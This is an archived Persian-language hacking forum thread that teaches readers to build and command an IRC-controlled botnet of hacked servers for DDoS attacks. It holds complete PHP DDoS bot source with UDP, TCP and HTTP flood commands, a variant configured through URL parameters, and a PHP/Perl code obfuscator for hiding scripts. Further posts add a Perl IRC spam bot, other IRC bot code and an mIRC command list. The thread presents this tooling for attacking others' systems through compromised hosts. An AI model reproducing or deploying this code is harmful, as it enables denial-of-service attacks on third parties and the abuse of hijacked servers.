View Full Version : اموزش های تصویری Botnet و DDos + اسکریپت
Cair3x
01-07-2010, 03:56 AM
سلام به تمامی دوستان در اشیانه !
بعد از صحبت با مدیران تصمیم گرقتم که یه تاپیک با نام اموزش های تصویری Botnet و DDos + اسکریپت ایجاد کنم و تا انجایی که علمم میرسه در این رابطه بحث کنم !
که البته از دوستان هم خواهشمندم که اگه متد و یا ... در این رابطه دارن قرار بدن ! تا مرجع کاملی بشه !
از دوستان خواهشمندم که Smap نکنند ! و اگه سوالی دارن در پیغام خصوصی مطرح کنن !
اولین اموزش هم در رابطه با Botnet هست که اگه استقبال شد سعی میکنم به بهترین نحوه بسازمش !
سرفصل های اولین اموزش هم !
1 - نحوه کانکت شدن به IRC .
2 - نحوه ایجاد کانال های IRC برای Botnet و چت !
3 - نحوه اماده سازی Botnet برای join شدن و استفاده !
4 - نحوه اماده سازی سرور های هک شده .
5 - نحوه اجرای اسکریپت در سمت سرور !
6 - نحوه دادن دستور حمله به سرور ها در IRC !
thanks دادن نشانه راضایت شما از این تاپیک و دلگرمی من واسه ادامه هست !
Cair3x
01-08-2010, 03:34 AM
سلام دوستان !
خوب اولین قسمت اموزش با عنوان نحوه کانکت شدن به IRC و نحوه ایجاد کانال های IRC برای Botnet و چت اماده شد !
سعی میکنم در اسرع وقت بقیه رو هم اماده کنم ! (اخه یه جورایی فصل امتحانات دانشگاهه:mad:)
Cair3x
01-10-2010, 06:07 AM
سلام دوستان !
خوب به سلامتی پارت دوم اموزش Botnet هم اماده شد !
در این پارت با :
1 - نحوه اماده سازی Botnet برای join شدن و استفاده !
2 - نحوه اماده سازی سرور های هک شده .
اشنا میشید ! در کل درس راحتی هست !
توصیه میشه حتما ببینید !
هر کاری کردم اتچ نشد ! مدیران لطف کنن اتچ کنن تا یه وقت لینک پاک نشه !
http://drwxrwxrwx.persiangig.com/video/Bot-2.rar
Cair3x
01-10-2010, 06:25 PM
سلام دوستان !
مثل اینکه استقبالی از تاپیک نشده ! که تا حالا نه کسی سوالی پرسیده (pm) ! نه تشکر .. شده ! و نه درخواستی شده !
این چند تا دلیل داره ! یا شما همه این متد رو بلدید ! که اگه بلدید بگید من وقت خودمو تلف نکنم !
یا هم بلد نیستید و روتون نمیشه چیزی بگید ! و منتظر بقیه هستید !
مطمعا باشد با این رودربایستی ها چیزی درست نمیشه !
مثلا اگه یه مدیر یه سوال بپرسه براش افت داره و حاضر یاد نگیره ولی سوالشو نپرسه ! و این خوب نیست !
سلام دوستان !
خوب به سلامتی پارت دوم اموزش Botnet هم اماده شد !
در این پارت با :
1 - نحوه اماده سازی Botnet برای join شدن و استفاده !
2 - نحوه اماده سازی سرور های هک شده .
اشنا میشید ! در کل درس راحتی هست !
توصیه میشه حتما ببینید !
هر کاری کردم اتچ نشد ! مدیران لطف کنن اتچ کنن تا یه وقت لینک پاک نشه !
http://drwxrwxrwx.persiangig.com/video/Bot-2.rar
اپلود شد !
(دوستان پست نمي دن كه شما راحت كارت رو ادامه بدي heart
Cair3x
01-10-2010, 11:15 PM
سلام دوستان !
به سلامتی اموزش Botnet من با این کلیپ تمام میشه !
البته Botnet این فقط یه رشته اونه! و کلی متد داره ! و قصد من فقط این بود تا با نحوه کلی این حملات اشنا بشین !
و بدونید چطور باید از اسکریپت های پاپلیک Botnet استفاده کنید ! و با IRC ها اشنا بشید !
در این درس که درس اخر Botnet است شما علاوه بر اموزش های پست های بالا به صورت کامل با نحوه انجام این حملات اشنا میشوید !
یعنی !
1 - نحوه کانکت شدن به IRC .
2 - نحوه ایجاد کانال های IRC برای Botnet و چت !
3 - نحوه اماده سازی Botnet برای join شدن و استفاده !
4 - نحوه اماده سازی سرور های هک شده .
5 - نحوه اجرای اسکریپت در سمت سرور !
6 - نحوه دادن دستور حمله به سرور ها در IRC !
همه و همه در این فیلم !
این فیلم رو حتما ببینید ! چون تمامی مطالب بالا رو یک جا داره !
در پست های بعدی سعی میکنم اسکریپت هایی برای این حمله قرار بدم و انشاالله بریم سراغ اموزش های DDOS !
و اگه زنده بودم برنامه نویسی این حملات !
Cair3x
01-11-2010, 03:12 AM
سلام دوستان ! امیدوارم از اموزش ها لذت برده باشید ! و ما رو هم دعا کنید !
تو این پست برنامه mIRC رو براتون میزارم !
mIRC = برنامه ای برای ارتباط و مدیریت کانال های IRC است !
در تمامی فیلم های بالا من از این برنامه برای ساخت و مدیریت کانال های IRC استفاده میکردم ! که 100% لازمتون میشه !
Cair3x
01-11-2010, 04:12 PM
سلام به تمامی دوستان اشیانه !
امروز براتون اسکریپت PHP DDoS Bot رو که تو فیلم های بالا ازش استفاده میکردم رو اوردم !
امیدوارم کامل یاد گرفته باشید ! (چون جایی دیگه جز اشیانه این چیزا گیرتون نمیاد)!
<?php
/*
PHP DDoS Bot
Version 1.0
Use:
- Open mIRC (download: mirc.com)
- Upload php_ddos_bot.php to your web server
- Go to
www.yourdomain.com/path/to/php_ddos_bot.php
- Bot will join #yourchannel
- PM the bot saying "ddos-udp IPHERE"
- Enjoy.
*/
$server="irc.freenode.net";
$Port="6667";
$nick="bot-";$willekeurig;
$willekeurig=mt_rand(0,3);
$nicknummer=mt_rand(100000,999999);
$Channel="#persiannetworks";
$Channelpass="";
$msg="shast";
set_time_limit(0);
$loop = 0; $verbonden = 0;
$verbinden = fsockopen($server, $Port);
while ($read = fgets($verbinden,512)) {
$read = str_replace("\n","",$read); $read = str_replace("\r","",$read);
$read2 = explode(" ",$read);
if ($loop == 0) {
fputs($verbinden,"nick $nick$nicknummer\n\n");
fputs($verbinden,"USER cybercrime 0 * :woopie\n\n");
}
if ($read2[0] == "PING") { fputs($verbinden,'PONG '.str_replace(':','',$read2[1])."\n"); }
if ($read2[1] == 251) {
fputs($verbinden,"join $Channel $Channelpass\n");
$verbonden++;
}
if (eregi("bot-op",$read)) {
fputs($verbinden,"mode $Channel +o $read2[4]\n");
}
if (eregi("bot-deop",$read)) {
fputs($verbinden,"mode $Channel -o $read2[4]\n");
}
if (eregi("bot-quit",$read)) {
fputs($verbinden,"quit :$msg\n\n");
break;
}
if (eregi("bot-join",$read)) {
fputs($verbinden,"join $read2[4]\n");
}
if (eregi("bot-part",$read)) {
fputs($verbinden,"part $read2[4]\n");
}
if (eregi("ddos-udp",$read)) {
fputs($verbinden,"privmsg $Channel :ddos-udp - started udp flood - $read2[4]\n\n");
$fp = fsockopen("udp://$read2[4]", 500, $errno, $errstr, 30);
if (!$fp)
{
//echo "$errstr ($errno)<br>\n"; //troep
exit;
}
else
{
$char = "a";
for($a = 0; $a < 9999999999999; $a++)
$data = $data.$char;
if(fputs ($fp, $data) )
fputs($verbinden,"privmsg $Channel :udp-ddos - packets sended.\n\n");
else
fputs($verbinden,"privmsg $Channel :udp-ddos - <error> sending packets.\n\n");
}
}
if (eregi("ddos-tcp",$read)) {
fputs($verbinden,"part $read2[4]\n");
fputs($verbinden,"privmsg $Channel :tcp-ddos - flood $read2[4]:$read2[5] with $read2[6] sockets.\n\n");
$server = $read2[4];
$Port = $read2[5];
for($sockets = 0; $sockets < $read2[6]; $sockets++)
{
$verbinden = fsockopen($server, $Port);
}
}
if (eregi("ddos-http",$read)) {
fputs($verbinden,"part $read2[4]\n");
fputs($verbinden,"privmsg $Channel :ddos-http - http://$read2[4]:$read2[5] $read2[6] times\n\n");
$Webserver = $read2[4];
$Port = $read2[5];
$Aanvraag = "GET / HTTP/1.1\r\n";
$Aanvraag .= "Accept: */*\r\n";
$Aanvraag .= "Accept-Language: nl\r\n";
$Aanvraag .= "Accept-Encoding: gzip, deflate\r\n";
$Aanvraag .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n";
$Aanvraag .= "Host: $read2[4]\r\n";
$Aanvraag .= "Connection: Keep-Alive\r\n\r\n";
for($Aantal = 0; $Aantal < $read2[6]; $Aantal++)
{
$DoS = fsockopen($Webserver, $Port);
fwrite($DoS, $Aanvraag);
fclose($DoS);
}
}
$loop++;
}
?>
Nitrojen26
01-11-2010, 07:47 PM
<?
// PHP OBFUSCATOR
// (C)2003 Richard Fairthorne -- http://richard.fairthorne.is-a-geek.com
// --------------------------
// Permission is granted to disctibute this file UNMODIFIED from its original
// form. All other rights are reserved.
function splitByNewline($string, $length) {
while (strlen($string)>0) {
$newstring.=substr($string, 0, $length) . "\n";
$string=substr($string, $length);
}
return $newstring;
}
echo "<big><b>Free Code Obfuscator (PHP, PERL)</b></big><br>By <a href='http://richard.fairthorne.is-a-geek.com'>Richard Fairthorne</a><hr>";
$b64_input=stripslashes($b64_input);
switch($b64_action) {
case "perl_encode":
$output=$b64_input;
$output=base64_encode($output);
$output=splitByNewline($output,40);
$output="#!/usr/bin/perl\nuse MIME::Base64;\neval(decode_base64('\n$output'));";
$ilength=strlen($b64_input);
$olength=strlen($output);
?>
<table border=0 width=100%><tr><td valign=top>
<textarea rows=18 cols=60 name=done><?=$output;?></textarea>
</td><td valign=top>
<b>PERL code obfuscated!</b><br><br>
Your PERL code has been obfuscated.
<br><br>
<font color=maroon>
Obfuscation-Strength: Normal (Fast code execution)<br>
Compatibility: 100% Code compatibility<br>
Input Length: <?=$ilength;?><br>
Output Length: <b><?=$olength;?></b><br>
</font>
<br>
To use the code, simply cut and paste it in place of the old code. You may need to update the perl path.
It is important to understand that code obfuscation can act as a deterrant, but is not a replacement
for encryption.<br><br>
<a href='?'>Click here</a> to obfuscate another page.
</td></tr></table>
<?
break;
case "php_encode":
$output=$b64_input;
$output=gzdeflate("?>".$output."<?",9);
$output=base64_encode($output);
$output=splitByNewline($output,40);
$output="<? eval(gzinflate(base64_decode('\n$output'))); ?>";
$ilength=strlen($b64_input);
$olength=strlen($output);
?>
<table border=0 width=100%><tr><td valign=top>
<textarea rows=18 cols=60 name=done><?=$output;?></textarea>
</td><td valign=top>
<b>PHP code obfuscated!</b><br><br>
Your PHP code has been obfuscated.
<br><br>
<font color=maroon>
Obfuscation-Strength: Normal (Fast code execution)<br>
Compatibility: Zlib Required. 100% Code compatibility<br>
Input Length: <?=$ilength;?><br>
Output Length: <b><?=$olength;?></b><br>
</font>
<br>
To use the code, simply cut and paste it in place of the old code.
It is important to understand that code obfuscation can act as a deterrant, but is not a replacement
for encryption.<br><br>
<a href='?'>Click here</a> to obfuscate another page.
</td></tr></table>
<?
break;
case "php_encode_hi":
$output=$b64_input;
for ($b64_counter=0; $b64_counter<10; $b64_counter++) {
$output=gzdeflate("?>".$output."<?",9);
$output=base64_encode($output);
$output="<? eval(gzinflate(base64_decode('$output'))); ?>";
}
$output=gzdeflate("?>".$output."<?",9);
$output=base64_encode($output);
$output="<? eval(gzinflate(base64_decode('\n$output'))); ?>";
$ilength=strlen($b64_input);
$olength=strlen($output);
?>
<table border=0 width=100%><tr><td valign=top>
<textarea rows=18 cols=60 name=done><?=$output;?></textarea>
</td><td valign=top>
<b>PHP code obfuscated!</b><br><br>
Your PHP code has been obfuscated.
<br><br>
<font color=maroon>
Obfuscation-Strength: Trecherous (Best Protection)<br>
Compatibility: Zlib Required. 100% Code Compatibility.<br>
Input Length: <?=$ilength;?><br>
Output Length: <b><?=$olength;?></b><br>
</font>
<br>
To use the code, simply cut and paste it in place of the old code.
It is important to understand that code obfuscation can act as a deterrant, but is not a replacement
for encryption.<br><br>
<a href='?'>Click here</a> to obfuscate another page.
</td></tr></table>
<?
break;
// case "decode":
// $output=htmlentities(base64_decode($b64_input),ENT _QUOTES);
// break;
default:
?>
<table border=0 width=100%><tr><td valign=top>
<form method=post>
<textarea name=b64_input cols=60 rows=16></textarea><br>
<SELECT name=b64_action>
<OPTION value='php_encode'>PHP - Normal Strength - Compressed</OPTION>
<OPTION value='php_encode_hi'>PHP - Trecherous Strength - Compressed</OPTION>
<OPTION value='perl_encode'>PERL - Normal Strength</OPTION>
</SELECT>
<input type=submit name=submit value='obfuscate'>
<!-- <input type=submit name=b64_action value=decode> -->
</form>
</td><td valign=top>
<b>Free Code obfuscator</b><br><br>
If you would like a quick way to hide your php code from prying eyes, try this PHP code obfuscator.<br><br>Copy an entire PHP page, into the obfuscator, and it will return a code that also works on any PHP server, but is not human readable.<br><br>
With code 5k or bigger, you may notice that the obfuscated code is smaller than the original code. You can thank me later.
</td></tr></table>
<?
break;
}
?>
با کد بالا می تونید کد های پی اچ پی رو به صورت کد شده در بیارید...
اما داینامیک گرفتن اطلاعات:
شما به این روشی که دوستمون تو فیلمش نشون داد هر دفعه باید برید اسکریپت رو ادیت کنید ...(یک کار غیر منطقی و نا امن...) ولی می تونید بات رو به صورتی کد بزنید که هر دفعه با متود پست نام سرور / آدرس / nick name و... رو بگیره و خودش وصل بشه...
و یک کد بزنید که به صورت اتوماتیک با یک حلقه بات ها رو وصل کنه به آی آر سی و به صورت رندوم بهشون اسم بده... محاسن:سرعت بیشتر .../ امنیت بیشتر ...
mahrud
01-11-2010, 09:40 PM
اینی که می فرمایین کدش هست؟ یا باید نوشته بشه؟
سلام خب این کدو باید چی جوری بنویسیم؟ از کجا گیر بیاریم
<?php
/*
PHP DDoS Bot
Version 1.0
Use:
- Open mIRC (download: mirc.com)
- Upload php_ddos_bot.php to your web server
- Go to
www.yourdomain.com/path/to/php_ddos_bot.php
- Bot will join #yourchannel
- PM the bot saying "ddos-udp IPHERE"
- Enjoy.
*/
if(isset($_GET['server'])) {
$server=$_GET['server'];
$Port=$_GET['Port'];
$nick=$_GET['nick'];
$Channel=$_GET['Channel'];
$Channelpass=$_GET['Channelpass'];
$willekeurig;
$willekeurig=mt_rand(0,3);
$nicknummer=mt_rand(100000,999999);
$msg="shast";
set_time_limit(0);
$loop = 0; $verbonden = 0;
$verbinden = fsockopen($server, $Port);
while ($read = fgets($verbinden,512)) {
$read = str_replace("\n","",$read); $read = str_replace("\r","",$read);
$read2 = explode(" ",$read);
if ($loop == 0) {
fputs($verbinden,"nick $nick$nicknummer\n\n");
fputs($verbinden,"USER cybercrime 0 * :woopie\n\n");
}
if ($read2[0] == "PING") { fputs($verbinden,'PONG '.str_replace(':','',$read2[1])."\n"); }
if ($read2[1] == 251) {
fputs($verbinden,"join $Channel $Channelpass\n");
$verbonden++;
}
if (eregi("bot-op",$read)) {
fputs($verbinden,"mode $Channel +o $read2[4]\n");
}
if (eregi("bot-deop",$read)) {
fputs($verbinden,"mode $Channel -o $read2[4]\n");
}
if (eregi("bot-quit",$read)) {
fputs($verbinden,"quit :$msg\n\n");
break;
}
if (eregi("bot-join",$read)) {
fputs($verbinden,"join $read2[4]\n");
}
if (eregi("bot-part",$read)) {
fputs($verbinden,"part $read2[4]\n");
}
if (eregi("ddos-udp",$read)) {
fputs($verbinden,"privmsg $Channel :ddos-udp - started udp flood - $read2[4]\n\n");
$fp = fsockopen("udp://$read2[4]", 500, $errno, $errstr, 30);
if (!$fp)
{
//echo "$errstr ($errno)<br>\n"; //troep
exit;
}
else
{
$char = "a";
for($a = 0; $a < 9999999999999; $a++)
$data = $data.$char;
if(fputs ($fp, $data) )
fputs($verbinden,"privmsg $Channel :udp-ddos - packets sended.\n\n");
else
fputs($verbinden,"privmsg $Channel :udp-ddos - <error> sending packets.\n\n");
}
}
if (eregi("ddos-tcp",$read)) {
fputs($verbinden,"part $read2[4]\n");
fputs($verbinden,"privmsg $Channel :tcp-ddos - flood $read2[4]:$read2[5] with $read2[6] sockets.\n\n");
$server = $read2[4];
$Port = $read2[5];
for($sockets = 0; $sockets < $read2[6]; $sockets++)
{
$verbinden = fsockopen($server, $Port);
}
}
if (eregi("ddos-http",$read)) {
fputs($verbinden,"part $read2[4]\n");
fputs($verbinden,"privmsg $Channel :ddos-http - http://$read2[4]:$read2[5] $read2[6] times\n\n");
$Webserver = $read2[4];
$Port = $read2[5];
$Aanvraag = "GET / HTTP/1.1\r\n";
$Aanvraag .= "Accept: */*\r\n";
$Aanvraag .= "Accept-Language: nl\r\n";
$Aanvraag .= "Accept-Encoding: gzip, deflate\r\n";
$Aanvraag .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n";
$Aanvraag .= "Host: $read2[4]\r\n";
$Aanvraag .= "Connection: Keep-Alive\r\n\r\n";
for($Aantal = 0; $Aantal < $read2[6]; $Aantal++)
{
$DoS = fsockopen($Webserver, $Port);
fwrite($DoS, $Aanvraag);
fclose($DoS);
}
}
$loop++;
}
} else {
print "<html>
<body>
<form method = 'get' >
Server: <input type = 'text' name = 'server' /><br />
Port: <input type = 'text' name = 'Port' /><br />
Nickname: <input type = 'text' name = 'nick' /><br />
Channel: <input type = 'text' name = 'Channel' /><br />
Channelpass: <input type = 'text' name = 'Channelpass' /><br />
<input type = submit >
</form>
</body>
</html>
";
}
?>
فقط تستش نکردم ... خودتون یه تست بزنید اگه اشکال داره بگید ...
--------------------
یه سوتی کوچیک داشت ،اصلاح شد ...
Cair3x
01-11-2010, 10:59 PM
سلام دوستان !
در مورد DOs , DDOS اگه بخوایی بدونی من مقاله نوشته شده توسط اشیانه رو پیشنهاد میکنم !
در مورد Botnet هم یه جورایی نمونه قدرتمند تر از DDos هست که با استفاده از Zombie ها(سرور های هک شده) شما میتونید این حمله رو انجام بدید ! به این صورت که همه Zombie ها رو جمع میکنید یه جا و در ان واحد دستور حمله میدید !
در مورد join کردن همه سرور ها در یک زمان هم سعی میکنم یه تولز واسش بنویسم ! که با تمام Zombie ه در ارتباط باشه و ادیت ها رو در ان واحد انجام بده ! و دستور حمله رو هم توسط همون تولز بدید !
همونطور که تو پست اول گفتم خواهشا Spam نکنید !
برای اشنایی با حملات DOS یا تکذیب سرویس
هم سرچ کن هم این رو نگاه کن
http://www.ashiyane.org/forums/showthread.php?goto=newpost&t=15043
Cair3x
01-13-2010, 06:46 AM
سلام دوستان !
امروز براتون یه اسکریپت Botnet اوردم که یه جورایی Mysql مختل میکنه !
امیدوارم راضی باشین !
<?php
/*
* Bot Class v0.3
* By pyr0t3chnician [at] gmail.com
* VIEW README AT http://www.notan00b.com/classBotREADME.txt
* Sample bot script at http://www.notan00b.com/bot2.txt
* Change the file extension of both to .php to make them work.
*/
class bot{
var $BotName="MrBot";
var $BotNick="MrBot";
var $BotPass="password";
var $BotOperPass="operpassword";
var $AdminName="pyr0t3chnician";
var $AdminEmail="pyr0t3chnician@gmail.com";
var $AdminHostMask="chatzilla@DME-Client-9299C001.phnx.qwest.net";
var $IrcHost="zeroirc.info";
var $IrcPort=6667;
var $IrcChan="#zeroidentity";
private $IrcSock;
var $Line; // entire line
var $LastSpeaker; // last person to join or speak
var $LastHow; // how the info was received (JOIN, NOTIFY, PRIVMSG)
var $LastWhere; // Where (PM or Channel)
var $LastMessage; // The entire message that was said
var $LastCommand; // The first word that they said
var $LastArgs; // The rest of the words after the first word (!say hello <- hello is args)
var $LastHost;
var $LastHostMask;
var $LastBrowser;
var $MySQLHost="localhost";
var $MySQLUser;
var $MySQLPass;
var $MySQLDB;
private $MySQLCon;
private $Commands = array();
private $EventCommands = array();
function _construct()
{
set_time_limit( 0 );
}
function OpenConnection($host='',$channel='',$port=0)//Opens connection and starts the bot.
{
if($host!='')
$this->IrcHost=$host;
if($channel!='')
$this->IrcChan=$channel;
if($port!=0)
$this->IrcPort=$port;
$this->IrcSock=fsockopen($this->IrcHost,$this->IrcPort, $errorNo, $errorStr );
if($this->IrcSock)
{
fputs( $this->IrcSock, "USER " . $this->BotNick . " " . $this->BotNick . " *: " . $this->BotName . "\r\n" );
fputs( $this->IrcSock, "NICK " . $this->BotNick . "\r\n" );
$this->ConnectionLoop();
}else
die( "Unable to connect to " . $this->IrcHost . " on port " . $this->IrcPort . "\r\nError number: " . $errorNo . "\r\nError message: " . $errorStr . "\r\n" );
}
private function ConnectionLoop()
{
while(!feof($this->IrcSock))
{
$this->Line=fgets($this->IrcSock, 4096);
echo $this->Line;
$this->Line = trim($this->Line);
eregi( "^:(.*)!", $this->Line, $matches );
$this->LastSpeaker = $matches[1];
$this->Output("JOIN", $this->IrcChan,'');
if( ereg( "PING :(.*)", $this->Line, $pong ) )
$this->Output("PONG",$pong[1],'');
if( eregi( "^:(.*)!(.*)@(.*) PRIVMSG " . $this->BotNick . " :" . chr( 1 ) . "VERSION" . chr( 1 ), $this->Line, $matches ) )
$this->Output("NOTICE", $this->LastSpeaker, chr( 1 )."Version: 1.3.3.7".chr( 1 ));
$this->ParseLine();
$this->ExecuteCommand();
$this->ExecuteEventCommand();
$this->LastCommand='';
$this->Line='';
}
}
function Output($type, $who, $message) // Outputs ANY command
{
fputs($this->IrcSock,$type." ".$who." :".$message."\r\n");
}
private function ParseLine()
{
if( eregi( "^:(.*)!(.*)@(.*) (.*) (.*) :(.*)$", $this->Line, $matches ) )
{
$this->LastSpeaker=$matches[1];
$this->LastBrowser=$matches[2];
$this->LastHost=$matches[3];
$this->LastHostMask=$matches[2]."@".$matches[3];
$this->LastHow=$matches[4];
$this->LastWhere=$matches[5];
$this->LastMessage=$matches[6];
$com=explode(" ",$matches[6]);
$this->LastCommand=$com[0];
$args='';
for($a=1;$a<count($com);$a++)
{
if($a!=1)
$args.=" ".$com[$a];
else
$args=$com[$a];
}
$this->LastArgs=$args;
}
}
function AddCommand($command,$function) // Adds a regular command (any expression, only the first word they type
{
$this->Commands[count($this->Commands)]["String"]=$command;
$this->Commands[count($this->Commands)-1]["Function"]=$function;
}
private function ExecuteCommand()
{
foreach($this->Commands as $command)
{
if($this->LastCommand==$command["String"])
{
$execute=$command["Function"];
$execute($this);
}
}
}
function AddEventCommand($action,$function) // Adds an EventCommand
{
$this->EventCommands[count($this->EventCommands)]["String"]=$action;
$this->EventCommands[count($this->EventCommands)-1]["Function"]=$function;
}
private function ExecuteEventCommand()
{
foreach($this->EventCommands as $command)
{
if(strpos($this->Line,$command["String"])!==false)
{
$execute=$command["Function"];
$execute($this);
}
}
}
function BasicOutput($string)
{
fputs($this->IrcSock,$string."\r\n");
}
function BotQuery($string){
$this->MySQLCon = mysql_connect($this->MySQLHost,$this->MySQLUser,$this->MySQLPass);
if (!$this->MySQLCon)
{
die('Could not connect: ' . mysql_error());
}
mysql_select_db($this->MySQLDB,$this->MySQLCon);
mysql_query($string);
mysql_close($this->MySQLCon);
}
function BotReturnArray($string){
$this->MySQLCon = mysql_connect($this->MySQLHost,$this->MySQLUser,$this->MySQLPass);
if (!$this->MySQLCon)
{
die('Could not connect: ' . mysql_error());
}
mysql_select_db($this->MySQLDB,$this->MySQLCon);
$result = mysql_query($string);
if(mysql_num_rows($result)>1)
{
$count=0;
while($row=mysql_fetch_array($result))
{
$return[$count]=$row;
$count++;
}
}else
$return[0]=mysql_fetch_array($result);
mysql_close($this->MySQLCon);
return $return;
}
function BotReturnCount($string){
$this->MySQLCon = mysql_connect($this->MySQLHost,$this->MySQLUser,$this->MySQLPass);
if (!$this->MySQLCon)
{
die('Could not connect: ' . mysql_error());
}
mysql_select_db($this->MySQLDB,$this->MySQLCon);
$result = mysql_query($string);
$count = mysql_num_rows($result);
mysql_close($this->MySQLCon);
return $count;
}
}
?>
Cair3x
01-14-2010, 03:56 AM
اسکریپت Spam Bot !
for sending message which works in a for loop
#!/usr/bin/perl
#
#ircbot <= 0.01 irc spam bot
#
#© 2004-2006 Esoteric Code
#simple spam bot for irc. has a timer
#for sending message which works in a for loop
#written by: seven
use IO::Socket;
$channel ="#channel name";
$Host = "irc.server.net";
$Port = 6667;
$nick = "seven";
$email = "code 8 * :esotericcode.com";
@alternate = ('amen_Ra',
'seven',
'basic_code');
@resp = ('I am a IRC bot coded in perl.', #random spam messages
'visit http://www.sevenz.net.',
'hey, how are you.',
'esoteric code.com.',
'how was your day?',
'hey, blow me',
'i am sexier than you');
my $sock = new IO::Socket::INET(
PeerAddr => $Host,
PeerPort => $Port,
Proto => 'tcp',
) || die "No connection $!\n";
print $sock "NICK $nick\r\n";
print $sock "USER $email\r\n";
while ($input = <$sock>)
{
if ($input =~ /004/){
last;
}
elsif ($input =~ /433/){
#nick already taken, auto switch to an alternate randomly from list
$a = int(rand($#alternate));
$newnick = $alternate[$a];
print $sock "NICK $newnick\r\n";
}
}
print $sock "JOIN $channel\r\n";
while ($input = <$sock>)
{
chop $input;
if ($input =~/^PING(.*)$/i){
print $sock "PONG $1\r\n";
print $sock "PRIVMSG $channel :irc bot coded in perl -> http://www.sevenz.net\r\n";
}
elsif ($input =~/!start(.*)/){
for ($i = 0; $i < 20; ++$i)
{
$r = int(rand($#resp));
$message = $resp[$r];
print $sock "PRIVMSG $channel :$message\r\n";
sleep(10)
}
}
elsif ($input =~/!time(.*)/){
$time = time();
print $sock "PRIVMSG $channel :local time/date: $time\r\n";
}
else{
#@tmp = split(/:/, $input);
print $input #$tmp[1]
}
}
Cair3x
01-14-2010, 05:05 AM
سلام دوستان !
امروز یه برنامه کوچیک با Perl براتون نوشتم که یه جورایی به روبات شبیه ! فقط واسه اشنایی دوستان با نحوه کانکت شدن به IRC و نحوه کار با اون !
#!/usr/bin/perl
# Simple IRC Bot.
# Coded by: Saime.
# Options: !version , !killmaself , !op , !owner
# Visit us: irc.nitrousirc.net #perl
use strict;
use IO::Socket;
use Socket;
my $server = "irc.abjects.net";
my $port= '7000';
my $chanel = "#ash";
my $nick = "King`Of`Cair3x";
my $identify = "ohi";
my $name = "Hithere";
my $saime = "Saime";
my $socket = new IO::Socket::INET(PeerAddr => $server, PeerPort => $port, Proto => "tcp") or die "Get a life ?";
print $socket "NICK $nick\r\n";
print $socket "USER $identify 8 * :$name\r\n";
print $socket "JOIN $chanel\r\n";
while (my $body = <$socket>) {
chop $body;
if ($body =~ /^PING(.*)$/i) { print $socket "PONG $1\r\n"; }
if ($body =~ /^.*!version(.*)$/i) { print $socket ("PRIVMSG $chanel Cair3x'Bot-Test'For'Ashiyane\r\n"); }
if ($body =~ /^.*!killmaself(.*)$/i) { print $socket ("QUIT\r\n"); }
if ($body =~ /^.*!op(.*)$/i) { print $socket ("MODE $chanel op $saime\r\n"); }
if ($body =~ /^.*!owner(.*)$/i) { print $socket ("PRIVMSG $chanel By:Cair3x'IN'Ashiyane'Digital'Security'Team\r\n"); }
}
کد رو Save کنید با پسوند .pl بعد به یه Chanel برید تو IRC ! بعدش اطلاعات Chanel رو به اسکریپت بدید و اونم اجرا کنید !
پارامتر های ورودی هم
!version = ورژن رو مشخص میکنه !
!killmaself = شما رو دیسکانکت میکنه از روم !
!owner = در مورد برنامه میگه !
اگه دوستان نتونستند کار کنن بگن تا فیلم بسازم ! البته چیز خاصی نیست فقط واسه اشنایی با برنامه نویسی IRC هست !
Cair3x
01-16-2010, 09:25 PM
سلام دوستان !
شاید دوستانی که تازه با IRC شروع به کار کردن زیاد با دستوراتش اشنایی نداشته باشن !
به همین دلیل یه سری از دستورات IRc رو براتون میزارم تا بتونید بهتر کار کنید !
/! Recalls the last command typed in any window.
/action {action text} Sends the specifed action to the active channel or query window.
/add [-apuce] {filename.ini} Loads aliases, popups, users, commands, and events.
/ame {action text} Sends the specifed action to all channels which you are currently on.
/amsg {text} Sends the specifed message to all channels which you are currently on.
/auser {level} {nick|address} Adds a user with the specified access level to the remote users
list.
/auto [on|off|nickname|address] Toggles auto-opping of a nick or address or sets it on or off
totally.
/away {away message} Sets you away leave a message explaining that you are not currently paying
attention to IRC.
/away Sets you being back.
/ban [#channel] {nickname} [type] Bans the specified nick from the curent or given channel.
/beep {number} {delay} Locally beeps 'number' times with 'delay' in between the beeps. /channel
Pops up the channel central window (only works in a channel).
/clear Clears the entire scrollback buffer of the current window.
/ctcp {nickname} {ping|finger|version|time|userinfo|clientinfo} Does the given ctcp request on
nickname.
/closemsg {nickname} Closes the query window you have open to the specified nick.
/creq [ask | auto | ignore] Sets your DCC 'On Chat request' settings in DCC/Options.
/dcc send {nickname} {file1} {file2} {file3} ... {fileN} Sends the specified files to nick.
/dcc chat {nickname} Opens a dcc window and sends a dcc chat request to nickname.
/describe {#channel} {action text} Sends the specifed action to the specified channel window.
/dde [-r] {service} {topic} {item} [data] Allows DDE control between mIRC and other
applications.
/ddeserver [on [service name] | off] To turn on the DDE server mode, eventually with a given
service name.
/disable {#groupname} De-activates a group of commands or events.
/disconnect Forces a hard and immediate disconnect from your IRC server. Use it with care.
/dlevel {level} Changes the default user level in the remote section.
/dns {nickname | IP address | IP name} Uses your providers DNS to resolve an IP address.
/echo [nickname|#channel|status] {text} Displays the given text only to YOU on the given place
in color N.
/enable {#groupname} Activates a group of commands or events.
/events [on|off] Shows the remote events status or sets it to listening or not.
/exit Forces mIRC to closedown and exit.
/finger Does a finger on a users address.
/flood [{numberoflines} {seconds} {pausetime}] Sets a crude flood control method.
/fsend [on|off] Shows fsends status and allows you to turn dcc fast send on or off.
/fserve {nickname} {maxgets} {homedirectory} [welcome text file] Opens a fileserver.
/guser {level} {nick} [type] Adds the user to the user list with the specified level and
address type.
/help {keyword} Brings up the Basic IRC Commands section in the mIRC help file.
/ignore [on|off|nickname|address] Toggles ignoring of a nick or address or sets it on or off
totally.
/invite {nickname} {#channel} Invites another user to a channel.
/join {#channel} Makes you join the specified channel.
/kick {#channel} {nickname} Kicks nickname off a given channel.
/list [#string] [-min #] [-max #] Lists all currently available channels, evt. filtering for
parameters.
/log [on|off] Shows the logging status or sets it on or off for the current window.
/me {action text} Sends the specifed action to the active channel or query window.
/mode {#channel|nickname} [[+|-]modechars [parameters]] Sets channel or user modes.
/msg {nickname} {message} Send a private message to this user without opening a query window.
/names {#channel} Shows the nicks of all people on the given channel.
/nick {new nickname} Changes your nickname to whatever you like.
/notice {nick} {message} Send the specified notice message to the nick.
/notify [on|off|nickname] Toggles notifying you of a nick on IRC or sets it on or off totally.
/onotice [#channel] {message} Send the specified notice message to all channel ops.
/omsg [#channel] {message} Send the specified message to all ops on a channel.
/part {#channel} Makes you leave the specified channel.
